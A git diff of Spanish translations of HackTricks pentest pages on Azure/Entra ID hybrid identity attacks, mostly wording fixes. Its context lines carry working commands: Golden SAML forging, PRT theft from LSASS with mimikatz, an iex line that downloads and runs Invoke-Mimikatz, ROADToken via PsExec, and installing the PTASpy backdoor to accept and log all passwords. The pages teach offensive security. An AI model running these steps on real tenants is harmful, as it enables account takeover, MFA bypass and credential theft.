>**Federación** es un conjunto de **dominios** que han establecido **confianza**. El nivel de confianza puede variar, pero típicamente incluye **autenticación** y casi siempre incluye **autorización**. Una federación típica podría incluir un **número de organizaciones** que han establecido **confianza** para el **acceso compartido** a un conjunto de recursos.
|
||||
>Puede **federar su entorno local** **con Azure AD** y usar esta federación para autenticación y autorización. Este método de inicio de sesión asegura que toda la **autenticación de usuarios ocurra en el local**. Este método permite a los administradores implementar niveles de control de acceso más rigurosos. La federación con **AD FS** y PingFederate está disponible.
|
||||
@@ -39,14 +39,14 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
|
||||
- AD FS es un modelo de identidad basado en reclamaciones.
|
||||
- "..las reclamaciones son simplemente declaraciones (por ejemplo, nombre, identidad, grupo), hechas sobre los usuarios, que se utilizan principalmente para autorizar el acceso a aplicaciones basadas en reclamaciones ubicadas en cualquier parte de Internet."
|
||||
- Las reclamaciones para un usuario se escriben dentro de los tokens SAML y luego se firman para proporcionar confidencialidad por el IdP.
|
||||
- Un usuario es identificado por ImmutableID. Es globalmente único y se almacena en Azure AD.
|
||||
- Un usuario se identifica por ImmutableID. Es globalmente único y se almacena en Azure AD.
|
||||
- El ImmutableID se almacena en el local como ms-DS-ConsistencyGuid para el usuario y/o puede derivarse del GUID del usuario.
|
||||
- Más información en [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims)
|
||||
|
||||
**Ataque Golden SAML:**
|
||||
|
||||
- En ADFS, la SAML Response es firmada por un certificado de firma de token.
|
||||
- Si el certificado es comprometido, ¡es posible autenticarse en Azure AD como CUALQUIER usuario sincronizado con Azure AD!
|
||||
- Si el certificado se ve comprometido, ¡es posible autenticarse en Azure AD como CUALQUIER usuario sincronizado con Azure AD!
|
||||
- Al igual que nuestro abuso de PTA, el cambio de contraseña para un usuario o MFA no tendrá ningún efecto porque estamos forjando la respuesta de autenticación.
|
||||
- El certificado puede ser extraído del servidor AD FS con privilegios de DA y luego puede ser utilizado desde cualquier máquina conectada a Internet.
|
||||
- Más información en [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
|
||||
@@ -82,7 +82,7 @@ Los requisitos para ejecutar un ataque golden SAML incluyen:
|
||||
|
||||
_Solo los elementos en negrita son obligatorios. Los demás pueden ser completados según se desee._
|
||||
|
||||
Para adquirir la **clave privada**, es necesario acceder a la **cuenta de usuario de AD FS**. Desde allí, la clave privada puede ser **exportada del almacén personal** utilizando herramientas como [mimikatz](https://github.com/gentilkiwi/mimikatz). Para recopilar la otra información requerida, puede utilizar el complemento de Microsoft.Adfs.Powershell de la siguiente manera, asegurándose de haber iniciado sesión como el usuario de ADFS:
|
||||
Para adquirir la **clave privada**, es necesario acceder a la **cuenta de usuario de AD FS**. Desde allí, la clave privada puede ser **exportada del almacén personal** utilizando herramientas como [mimikatz](https://github.com/gentilkiwi/mimikatz). Para recopilar la otra información requerida, puede utilizar el complemento Microsoft.Adfs.Powershell de la siguiente manera, asegurándose de haber iniciado sesión como el usuario de ADFS:
|
||||
```bash
|
||||
# From an "AD FS" session
|
||||
# After having exported the key with mimikatz
|
||||
@@ -149,4 +149,4 @@ Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http:
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed)
|
||||
- [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,16 +1,16 @@
|
||||
# Ataques Misceláneos de Identidad Híbrida
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Forzar la Sincronización de usuarios de Entra ID a on-prem
|
||||
## Forzar la Sincronización de Usuarios de Entra ID a on-prem
|
||||
|
||||
Como se mencionó en [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg), era posible cambiar el valor de **`ProxyAddress`** dentro de un usuario de AD en el AD on-prem añadiendo el correo electrónico de un usuario administrador de Entra ID y también asegurándose de que el UPN del usuario en AD y en Entra ID coincidieran (este es el Entra ID nuevamente), como **`SMTP:admin@domain.onmicrosoft.com`**. Y esto **forzaría la sincronización de este usuario** desde Entra ID al AD on-prem, así que si se conocía la contraseña del usuario, podría usarse para **acceder al administrador utilizado en Entra ID.**
|
||||
Como se mencionó en [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg), era posible cambiar el valor de **`ProxyAddress`** dentro de un usuario de AD en el AD on-prem añadiendo el correo electrónico de un usuario administrador de Entra ID y también asegurándose de que el UPN del usuario en AD y en Entra ID coincidieran (este es el Entra ID nuevamente), como **`SMTP:admin@domain.onmicrosoft.com`**. Y esto **forzaría la sincronización de este usuario** de Entra ID al AD on-prem, así que si se conocía la contraseña del usuario, podría usarse para **acceder al administrador utilizado en Entra ID.**
|
||||
|
||||
Para sincronizar un nuevo usuario desde Entra ID al AD on-prem, estos son los requisitos, los únicos requisitos son:
|
||||
Para sincronizar un nuevo usuario de Entra ID al AD on-prem, estos son los requisitos, los únicos requisitos son:
|
||||
|
||||
- Controlar los atributos de un usuario en el AD on-prem (o tener permisos para crear nuevos usuarios)
|
||||
- Conocer el usuario solo en la nube para sincronizar desde Entra ID al AD on-prem
|
||||
- Conocer el usuario solo en la nube para sincronizar de Entra ID al AD on-prem
|
||||
- También podrías necesitar poder cambiar el atributo immutableID del usuario de Entra ID al usuario de AD on-prem para hacer un **hard match**.
|
||||
|
||||
|
||||
@@ -26,4 +26,4 @@ Para sincronizar un nuevo usuario desde Entra ID al AD on-prem, estos son los re
|
||||
- [https://activedirectorypro.com/sync-on-prem-ad-with-existing-azure-ad-users/](https://activedirectorypro.com/sync-on-prem-ad-with-existing-azure-ad-users/)
|
||||
- [https://www.orbid365.be/manually-match-on-premise-ad-user-to-existing-office365-user/](https://www.orbid365.be/manually-match-on-premise-ad-user-to-existing-office365-user/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -63,13 +63,13 @@ dsregcmd /status
|
||||
```
|
||||
## Pasar el PRT
|
||||
|
||||
Según [esta publicación](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) en dispositivos Windows **sin vinculación TPM**, el PRT y su clave de sesión residen en LSASS (complemento CloudAP). Con privilegios de administrador local/SYSTEM en ese dispositivo, el blob del PRT y la clave de sesión cifrada con DPAPI pueden ser **leídos desde LSASS, la clave de sesión descifrada a través de DPAPI, y la clave de firma derivada** para crear una cookie PRT válida (`x‑ms‑RefreshTokenCredential`). Necesitas tanto el PRT como su clave de sesión; la cadena PRT por sí sola no es suficiente.
|
||||
Según [esta publicación](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) en dispositivos Windows **sin enlace TPM**, el PRT y su clave de sesión residen en LSASS (complemento CloudAP). Con privilegios de administrador local/SYSTEM en ese dispositivo, el blob del PRT y la clave de sesión cifrada con DPAPI pueden ser **leídos desde LSASS, la clave de sesión descifrada a través de DPAPI, y la clave de firma derivada** para crear una cookie PRT válida (`x‑ms‑RefreshTokenCredential`). Necesitas tanto el PRT como su clave de sesión; la cadena PRT por sí sola no es suficiente.
|
||||
|
||||
### Mimikatz
|
||||
|
||||
1. El **PRT (Token de Actualización Primario) se extrae de LSASS** (Servicio de Subsistema de Autoridad de Seguridad Local) y se almacena para su uso posterior.
|
||||
2. La **clave de sesión se extrae a continuación**. Dado que esta clave se emite inicialmente y luego se vuelve a cifrar por el dispositivo local, requiere descifrado utilizando una clave maestra de DPAPI. Información detallada sobre DPAPI (Interfaz de Programación de Aplicaciones de Protección de Datos) se puede encontrar en estos recursos: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) y para entender su aplicación, consulta [Pass-the-cookie attack](az-pass-the-cookie.md).
|
||||
3. Después del descifrado de la clave de sesión, se **obtienen la clave derivada y el contexto para el PRT**. Estos son cruciales para la **creación de la cookie PRT**. Específicamente, la clave derivada se utiliza para firmar el JWT (Token Web JSON) que constituye la cookie. Una explicación completa de este proceso ha sido proporcionada por Dirk-jan, accesible [aquí](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/).
|
||||
3. Después del descifrado de la clave de sesión, se **obtienen la clave derivada y el contexto para el PRT**. Estos son cruciales para la **creación de la cookie PRT**. Específicamente, la clave derivada se utiliza para firmar el JWT (JSON Web Token) que constituye la cookie. Una explicación completa de este proceso ha sido proporcionada por Dirk-jan, accesible [aquí](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/).
|
||||
```bash
|
||||
privilege::debug
|
||||
sekurlsa::cloudap
|
||||
@@ -78,11 +78,11 @@ sekurlsa::cloudap
|
||||
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
|
||||
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
|
||||
```
|
||||
El **campo PRT** contiene el token de actualización encriptado (típicamente una cadena base64), y KeyValue en el ProofOfPossessionKey es la clave de sesión encriptada con DPAPI (también base64).
|
||||
El **campo PRT** contiene el token de actualización cifrado (típicamente una cadena base64), y KeyValue en el ProofOfPossessionKey es la clave de sesión cifrada con DPAPI (también base64).
|
||||
|
||||
Luego, desde la salida de **`sekurlsa::cloudap`**, copia el blob base64 de **`KeyValue`** dentro del campo `ProofOfPossessionKey` (esta es la clave de sesión encriptada con DPAPI). Esta clave encriptada no se puede usar tal cual; debe ser desencriptada utilizando las credenciales DPAPI del sistema.
|
||||
Luego, desde la salida de **`sekurlsa::cloudap`**, copia el blob base64 de **`KeyValue`** dentro del campo `ProofOfPossessionKey` (esta es la clave de sesión cifrada con DPAPI). Esta clave cifrada no se puede usar tal cual; debe ser descifrada utilizando las credenciales DPAPI del sistema.
|
||||
|
||||
Debido a que la encriptación DPAPI para secretos del sistema requiere el contexto del sistema de la máquina, eleva tu token a SYSTEM y utiliza el módulo DPAPI de Mimikatz para desencriptar:
|
||||
Debido a que el cifrado DPAPI para secretos del sistema requiere el contexto del sistema de la máquina, eleva tu token a SYSTEM y usa el módulo DPAPI de Mimikatz para descifrar:
|
||||
```bash
|
||||
token::elevate
|
||||
dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
|
||||
@@ -105,9 +105,9 @@ Luego, también puedes usar mimikatz para generar una cookie PRT válida:
|
||||
# PRT is obtained from sekurlsa::cloudap (filed "Prt"
|
||||
dpapi::cloudapkd /context:<ContextHex> /derivedkey:<DerivedKeyHex> /prt:<PRT>
|
||||
```
|
||||
Mimikatz generará un JWT firmado (la `cookie PRT`) después de la línea “Signature with key”, que contiene el PRT y está firmado utilizando la clave derivada. Este JWT puede ser copiado y luego utilizado en una sesión web. Por ejemplo, un atacante puede abrir un navegador, ir a `login.microsoftonline.com`, y establecer una cookie llamada `x-ms-RefreshTokenCredential` con el valor de este JWT. Cuando el navegador se actualiza o navega, Azure AD tratará la sesión como autenticada (la cookie PRT se presenta como si se hubiera producido SSO), y emitirá un código de autorización o token de acceso para el recurso especificado. En la práctica, uno navegaría a un recurso como Office 365 o el portal de Azure; la presencia de una cookie PRT válida significa que Azure AD otorgará acceso sin un inicio de sesión adicional (eludiendo MFA, ya que el PRT ya está autenticado).
|
||||
Mimikatz generará un JWT firmado (la `cookie PRT`) después de la línea “Signature with key”, que contiene el PRT y está firmado utilizando la clave derivada. Este JWT puede ser copiado y luego utilizado en una sesión web. Por ejemplo, un atacante puede abrir un navegador, ir a `login.microsoftonline.com`, y establecer una cookie llamada `x-ms-RefreshTokenCredential` con el valor de este JWT. Cuando el navegador se actualiza o navega, Azure AD tratará la sesión como autenticada (la cookie PRT se presenta como si se hubiera producido SSO), y emitirá un código de autorización o un token de acceso para el recurso especificado. En la práctica, uno navegaría a un recurso como Office 365 o el portal de Azure; la presencia de una cookie PRT válida significa que Azure AD otorgará acceso sin un inicio de sesión adicional (eludiendo MFA, ya que el PRT ya está autenticado).
|
||||
|
||||
También podrías usar **`roadtx`** y **`roadrecon`** con el PRT de la cookie PRT para suplantar al usuario *(TODO: Encontrar las líneas de comando exactas para usar roadtx/roadrecon para obtener credenciales de un PRT)*.
|
||||
También podrías usar **`roadtx`** y **`roadrecon`** con el PRT de la cookie PRT para suplantar al usuario *(TODO: Find the exact command lines to use roadtx/roadrecon to get credentials from a PRT)*.
|
||||
|
||||
### Mimikatz + AADInternals
|
||||
|
||||
@@ -135,11 +135,11 @@ $prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey
|
||||
# Get an access token for MS Graph API
|
||||
Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken
|
||||
```
|
||||
Esto obtiene una nueva cookie PRT (con un nonce) y luego la utiliza para obtener un token de acceso para la Azure AD Graph API (demostrando acceso a la nube en nombre del usuario). AADInternals abstrae gran parte de la criptografía y utiliza componentes de Windows o su propia lógica en segundo plano.
|
||||
Esto obtiene una nueva cookie PRT (con un nonce) y luego la utiliza para obtener un token de acceso para la Azure AD Graph API (demostrando acceso en la nube en nombre del usuario). AADInternals abstrae gran parte de la criptografía y utiliza componentes de Windows o su propia lógica en segundo plano.
|
||||
|
||||
### Mimikatz + roadtx
|
||||
|
||||
- Renueva primero el PRT, que se guardará en `roadtx.prt`:
|
||||
- Renueva el PRT primero, lo que lo guardará en `roadtx.prt`:
|
||||
```bash
|
||||
roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
|
||||
```
|
||||
@@ -158,17 +158,17 @@ roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <deri
|
||||
```
|
||||
## Abusando de PRTs protegidos
|
||||
|
||||
A pesar de las protecciones mencionadas, un atacante que ya ha comprometido un dispositivo (como usuario local o incluso SYSTEM) aún puede **abusar del PRT para obtener tokens de acceso frescos** aprovechando las propias APIs y componentes de seguridad del broker de tokens de Windows. En lugar de **extraer** el PRT o la clave en bruto, el atacante esencialmente **"pide" a Windows que use el PRT en su nombre**. En las secciones a continuación, describimos técnicas actualmente válidas para abusar de los PRTs y sus claves de sesión en dispositivos Windows actualizados donde las protecciones de TPM están en efecto. Todas estas técnicas asumen acceso post-explotación en la máquina objetivo y **se centran en abusar de flujos de autenticación integrados** (no se necesitan vulnerabilidades sin parches).
|
||||
A pesar de las protecciones mencionadas, un atacante que ya ha comprometido un dispositivo (como usuario local o incluso SYSTEM) aún puede **abusar del PRT para obtener nuevos tokens de acceso** aprovechando las propias APIs y componentes de seguridad del broker de tokens de Windows. En lugar de **extraer** el PRT o la clave, el atacante esencialmente **"pide" a Windows que use el PRT en su nombre**. En las secciones a continuación, describimos técnicas actualmente válidas para abusar de los PRTs y sus claves de sesión en dispositivos Windows actualizados donde las protecciones de TPM están en efecto. Todas estas técnicas asumen acceso post-explotación en la máquina objetivo y **se centran en abusar de flujos de autenticación integrados** (no se necesitan vulnerabilidades sin parches).
|
||||
|
||||
### Arquitectura del Broker de Tokens de Windows y Flujo de SSO
|
||||
|
||||
Windows moderno maneja la autenticación en la nube a través de una pila de **broker de tokens** integrada, que incluye componentes tanto en modo usuario como en LSASS (Local Security Authority). Las piezas clave de esta arquitectura incluyen:
|
||||
|
||||
- **Complemento CloudAP de LSASS:** Cuando un dispositivo está unido a Azure AD, LSASS carga paquetes de autenticación en la nube (por ejemplo, `CloudAP.dll`, `aadcloudap.dll`, `MicrosoftAccountCloudAP.dll`) que gestionan los PRTs y las solicitudes de tokens. LSASS (que se ejecuta como SYSTEM) orquesta el almacenamiento, renovación y uso del PRT, y se comunica con el TPM para realizar operaciones criptográficas (como firmar un desafío de PRT con la clave de sesión).
|
||||
- **Plugin CloudAP de LSASS:** Cuando un dispositivo está unido a Azure AD, LSASS carga paquetes de autenticación en la nube (por ejemplo, `CloudAP.dll`, `aadcloudap.dll`, `MicrosoftAccountCloudAP.dll`) que gestionan los PRTs y las solicitudes de tokens. LSASS (que se ejecuta como SYSTEM) orquesta el almacenamiento, renovación y uso del PRT, y se comunica con el TPM para realizar operaciones criptográficas (como firmar un desafío de PRT con la clave de sesión).
|
||||
|
||||
- **Administrador de Cuentas Web (WAM):** El Administrador de Cuentas Web de Windows es un marco en modo usuario (accesible a través de APIs COM/WinRT) que permite a aplicaciones o navegadores solicitar tokens para cuentas en la nube sin solicitar credenciales. WAM actúa como un intermediario entre las aplicaciones de usuario y el PRT respaldado por LSASS/TPM. Por ejemplo, la biblioteca MSAL de Microsoft y ciertos componentes del sistema operativo utilizan WAM para adquirir silenciosamente tokens utilizando el PRT del usuario conectado.
|
||||
- **Web Account Manager (WAM):** El Administrador de Cuentas Web de Windows es un marco en modo usuario (accesible a través de APIs COM/WinRT) que permite a aplicaciones o navegadores solicitar tokens para cuentas en la nube sin solicitar credenciales. WAM actúa como un intermediario entre las aplicaciones de usuario y el PRT respaldado por LSASS/TPM. Por ejemplo, la biblioteca MSAL de Microsoft y ciertos componentes del sistema operativo utilizan WAM para adquirir silenciosamente tokens utilizando el PRT del usuario conectado.
|
||||
|
||||
- **BrowserCore.exe e interfaces COM del Broker de Tokens:** Para SSO en navegadores, Windows incluye un componente llamado **BrowserCore.exe** (ubicado en *Windows Security\BrowserCore*). Este es un host de mensajería nativo utilizado por navegadores (Edge, Chrome a través de una extensión, etc.) para obtener un token SSO derivado del PRT para el inicio de sesión en Azure AD. En el fondo, BrowserCore aprovecha un objeto COM proporcionado por `MicrosoftAccountTokenProvider.dll` para recuperar una cookie/token basado en PRT. En esencia, esta interfaz COM es una API de "broker de tokens" de primera parte que cualquier proceso que se ejecute como el usuario puede invocar para obtener un token SSO (siempre que el usuario tenga un PRT válido en LSASS).
|
||||
- **BrowserCore.exe e interfaces COM del Broker de Tokens:** Para SSO en navegadores, Windows incluye un componente llamado **BrowserCore.exe** (ubicado en *Windows Security\BrowserCore*). Este es un host de mensajería nativa utilizado por navegadores (Edge, Chrome a través de una extensión, etc.) para obtener un token SSO derivado del PRT para el inicio de sesión en Azure AD. En el fondo, BrowserCore aprovecha un objeto COM proporcionado por `MicrosoftAccountTokenProvider.dll` para recuperar una cookie/token basado en PRT. En esencia, esta interfaz COM es una API de "broker de tokens" de primera parte que cualquier proceso que se ejecute como el usuario puede invocar para obtener un token SSO (siempre que el usuario tenga un PRT válido en LSASS).
|
||||
|
||||
Cuando un usuario unido a Azure AD intenta acceder a un recurso (por ejemplo, el Portal de Azure), el flujo es típicamente: una aplicación llama a la interfaz COM de WAM o BrowserCore, que a su vez se comunica con LSASS. LSASS utiliza el PRT y la clave de sesión (asegurada por TPM) para producir un **token SSO** -- a menudo llamado **cookie PRT** -- que luego se devuelve a la aplicación o navegador. La cookie PRT es un JWT especial que contiene el PRT encriptado y un nonce, firmado con una clave derivada de la clave de sesión del PRT. Esta cookie se envía a Azure AD (en un encabezado `x-ms-RefreshTokenCredential`) para probar que el dispositivo y el usuario tienen un PRT válido, permitiendo que Azure AD emita tokens de acceso y actualización estándar de OAuth para varias aplicaciones. Notablemente, cualquier reclamo de Autenticación Multifactor (MFA) presente en el PRT se trasladará a los tokens obtenidos a través de este proceso SSO, lo que significa que los tokens derivados del PRT pueden satisfacer recursos protegidos por MFA.
|
||||
|
||||
@@ -211,11 +211,11 @@ O usando [**roadrecon**](https://github.com/dirkjanm/ROADtools):
|
||||
```bash
|
||||
roadrecon auth prt-init
|
||||
```
|
||||
Luego puedes usar [**roadtoken**](https://github.com/dirkjanm/ROADtoken) para obtener un nuevo PRT (ejecuta la herramienta desde un proceso del usuario para atacar):
|
||||
Luego puedes usar [**roadtoken**](https://github.com/dirkjanm/ROADtoken) para obtener un nuevo PRT (ejecuta la herramienta desde un proceso del usuario a atacar):
|
||||
```bash
|
||||
.\ROADtoken.exe <nonce>
|
||||
```
|
||||
Como una sola línea:
|
||||
Como una línea:
|
||||
```bash
|
||||
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
|
||||
```
|
||||
@@ -293,7 +293,7 @@ curl -s -X POST \
|
||||
```
|
||||
2. **La víctima inicia sesión en el sitio de Microsoft** (interfaz legítima) y completa **MFA** → **el atacante recibe un token de actualización con alcance DRS** para el cliente Broker.
|
||||
|
||||
3. **Registrar un dispositivo malicioso** en el inquilino utilizando ese token de actualización (el objeto del dispositivo se crea y se vincula a la víctima).
|
||||
3. **Registrar un dispositivo malicioso** en el inquilino usando ese token de actualización (el objeto del dispositivo se crea y se vincula a la víctima).
|
||||
|
||||
4. **Actualizar a un PRT** intercambiando el **token de actualización + identidad/claves del dispositivo** → **PRT** vinculado al dispositivo del atacante.
|
||||
|
||||
|
||||
@@ -1,31 +1,31 @@
|
||||
# Az - PTA - Pass-through Authentication
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Información Básica
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) La autenticación pass-through de Microsoft Entra permite a sus usuarios **iniciar sesión tanto en aplicaciones locales como en aplicaciones basadas en la nube utilizando las mismas contraseñas**. Esta función proporciona a sus usuarios una mejor experiencia: una contraseña menos que recordar, y reduce los costos del servicio de asistencia de TI porque es menos probable que sus usuarios olviden cómo iniciar sesión. Cuando los usuarios inician sesión utilizando Microsoft Entra ID, esta función valida las contraseñas de los usuarios directamente contra su Active Directory local.
|
||||
[Desde la documentación:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) La autenticación pass-through de Microsoft Entra permite a sus usuarios **iniciar sesión tanto en aplicaciones locales como en aplicaciones basadas en la nube utilizando las mismas contraseñas**. Esta función proporciona a sus usuarios una mejor experiencia: una contraseña menos que recordar, y reduce los costos del servicio de asistencia de TI porque es menos probable que sus usuarios olviden cómo iniciar sesión. Cuando los usuarios inician sesión utilizando Microsoft Entra ID, esta función valida las contraseñas de los usuarios directamente contra su Active Directory local.
|
||||
|
||||
En PTA, las **identidades** están **sincronizadas** pero las **contraseñas no** como en PHS.
|
||||
En PTA **las identidades** están **sincronizadas** pero **las contraseñas no** como en PHS.
|
||||
|
||||
La autenticación se valida en el AD local y la comunicación con la nube se realiza mediante un **agente de autenticación** que se ejecuta en un **servidor local** (no necesita estar en el DC local).
|
||||
La autenticación se valida en el AD local y la comunicación con la nube se realiza a través de un **agente de autenticación** que se ejecuta en un **servidor local** (no necesita estar en el DC local).
|
||||
|
||||
### Flujo de Autenticación
|
||||
|
||||
<figure><img src="../../../../images/image (92).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
1. Para **iniciar sesión**, el usuario es redirigido a **Azure AD**, donde envía el **nombre de usuario** y la **contraseña**.
|
||||
2. Las **credenciales** están **encriptadas** y se colocan en una **cola** en Azure AD.
|
||||
3. El **agente de autenticación local** recoge las **credenciales** de la cola y las **desencripta**. Este agente se llama **"agente de autenticación pass-through"** o **agente PTA**.
|
||||
2. Las **credenciales** son **encriptadas** y colocadas en una **cola** en Azure AD.
|
||||
3. El **agente de autenticación local** recoge las **credenciales** de la cola y las **desencripta**. Este agente se llama **"agente de autenticación pass-through"** o **agente PTA.**
|
||||
4. El **agente** **valida** las credenciales contra el **AD local** y envía la **respuesta** **de vuelta** a Azure AD que, si la respuesta es positiva, **completa el inicio de sesión** del usuario.
|
||||
|
||||
> [!WARNING]
|
||||
> Si un atacante **compromete** el **PTA**, puede **ver** todas las **credenciales** de la cola (en **texto claro**).\
|
||||
> También puede **validar cualquier credencial** en AzureAD (ataque similar al de la llave maestra).
|
||||
> También puede **validar cualquier credencial** en AzureAD (ataque similar a la llave maestra).
|
||||
|
||||
### Enumeración
|
||||
|
||||
From Entra ID:
|
||||
Desde Entra ID:
|
||||
```bash
|
||||
az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents'
|
||||
# Example response:
|
||||
@@ -52,13 +52,13 @@ az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/aut
|
||||
]
|
||||
}
|
||||
```
|
||||
Verifica si el agente se está ejecutando en el servidor local:
|
||||
Verifica si el agente está en ejecución en el servidor local:
|
||||
```bash
|
||||
Get-Service -Name "AzureADConnectAuthenticationAgent"
|
||||
```
|
||||
## Pivoting
|
||||
|
||||
Si tienes acceso **admin** al **servidor Azure AD Connect** con el **agente PTA** en ejecución, puedes usar el módulo **AADInternals** para **insertar una puerta trasera** que **validará TODAS las contraseñas** introducidas (así que todas las contraseñas serán válidas para la autenticación):
|
||||
Si tienes acceso **admin** al **servidor de Azure AD Connect** con el **agente** **PTA** en ejecución, puedes usar el módulo **AADInternals** para **insertar una puerta trasera** que **validará TODAS las contraseñas** introducidas (así que todas las contraseñas serán válidas para la autenticación):
|
||||
```bash
|
||||
Install-Module AADInternals -RequiredVersion 0.9.3
|
||||
Import-Module AADInternals
|
||||
@@ -68,7 +68,7 @@ Get-AADIntPTASpyLog -DecodePasswords # Read the file or use this to read the pas
|
||||
Remove-AADIntPTASpy # Remove the backdoor
|
||||
```
|
||||
> [!NOTE]
|
||||
> Si la **instalación falla**, esto se debe probablemente a la falta de [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe).
|
||||
> Si la **instalación falla**, esto se debe probablemente a que faltan los [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe).
|
||||
|
||||
Este backdoor hará:
|
||||
|
||||
@@ -80,7 +80,7 @@ Este backdoor hará:
|
||||
> Cuando el servicio AzureADConnectAuthenticationAgent se reinicia, PTASpy es “descargado” y debe ser reinstalado.
|
||||
|
||||
> [!CAUTION]
|
||||
> Después de obtener **privilegios GA** en la nube, es posible **registrar un nuevo agente PTA** y **repetir** los pasos **previos** para **autenticar usando cualquier contraseña** y también, **obtener las contraseñas en texto claro.**
|
||||
> Después de obtener **privilegios de GA** en la nube, es posible **registrar un nuevo agente PTA** y **repetir** los pasos **previos** para **autenticar usando cualquier contraseña** y también, **obtener las contraseñas en texto claro.**
|
||||
|
||||
### Seamless SSO
|
||||
|
||||
@@ -95,4 +95,4 @@ seamless-sso.md
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta)
|
||||
- [https://aadinternals.com/post/on-prem_admin/#pass-through-authentication](https://aadinternals.com/post/on-prem_admin/#pass-through-authentication)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# Az - Seamless SSO
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Información Básica
|
||||
|
||||
[Desde la documentación:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) **firma automáticamente a los usuarios cuando están en sus dispositivos corporativos** conectados a su red corporativa. Cuando está habilitado, **los usuarios no necesitan escribir sus contraseñas para iniciar sesión en Azure AD**, y generalmente, ni siquiera escriben sus nombres de usuario. Esta función proporciona a sus usuarios un fácil acceso a sus aplicaciones basadas en la nube sin necesidad de componentes adicionales en las instalaciones.
|
||||
[Desde la documentación:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) **firma automáticamente a los usuarios cuando están en sus dispositivos corporativos** conectados a su red corporativa. Cuando está habilitado, **los usuarios no necesitan escribir sus contraseñas para iniciar sesión en Azure AD**, y generalmente, ni siquiera escribir sus nombres de usuario. Esta función proporciona a sus usuarios un fácil acceso a sus aplicaciones basadas en la nube sin necesidad de componentes adicionales en las instalaciones.
|
||||
|
||||
<figure><img src="../../../../images/image (275).png" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works">https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works</a></p></figcaption></figure>
|
||||
|
||||
@@ -12,7 +12,7 @@ Básicamente, Azure AD Seamless SSO **firma a los usuarios** cuando están **en
|
||||
|
||||
Es compatible tanto con [**PHS (Sincronización de Hash de Contraseña)**](phs-password-hash-sync.md) como con [**PTA (Autenticación Passthrough)**](pta-pass-through-authentication.md).
|
||||
|
||||
